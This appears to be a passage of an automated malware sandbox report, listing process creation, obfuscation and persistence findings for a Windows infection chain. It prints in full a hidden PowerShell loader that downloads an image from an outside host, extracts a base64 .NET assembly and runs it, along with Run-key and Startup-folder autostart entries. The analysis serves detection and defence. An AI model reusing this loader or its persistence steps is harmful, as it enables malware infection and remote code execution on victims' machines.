Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDg
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.yamowx/mn/moc.72evlove.www//:sptth' , '1' , 'C:\ProgramData\' , 'escudellar','RegAsm',''))} }"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDg Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.yamowx/mn/moc.72evlove.www//:sptth' , '1' , 'C:\ProgramData\' , 'escudellar','RegAsm',''))} }" Jump to behavior
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_00007FFD9B7600BD pushad ; iretd 3_2_00007FFD9B7600C1

Persistence and Installation Behavior
barindex
Command shell drops VBS files
Source: C:\Windows\System32\cmd.exe File created: C:\ProgramData\escudellar.vbs Jump to behavior
Drops PE files
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\Users\user\AppData\Roaming\RegAsm.exe Jump to dropped file

Boot Survival
barindex
Creates autostart registry keys with suspicious values (likely registry only malware)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Path C:\ProgramData\escudellar.vbs Jump to behavior
Creates a start menu entry (Start Menu\Programs\Startup)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RegAsm.lnk Jump to behavior
Stores files to the Windows start menu directory
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RegAsm.lnk Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Path Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Path Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
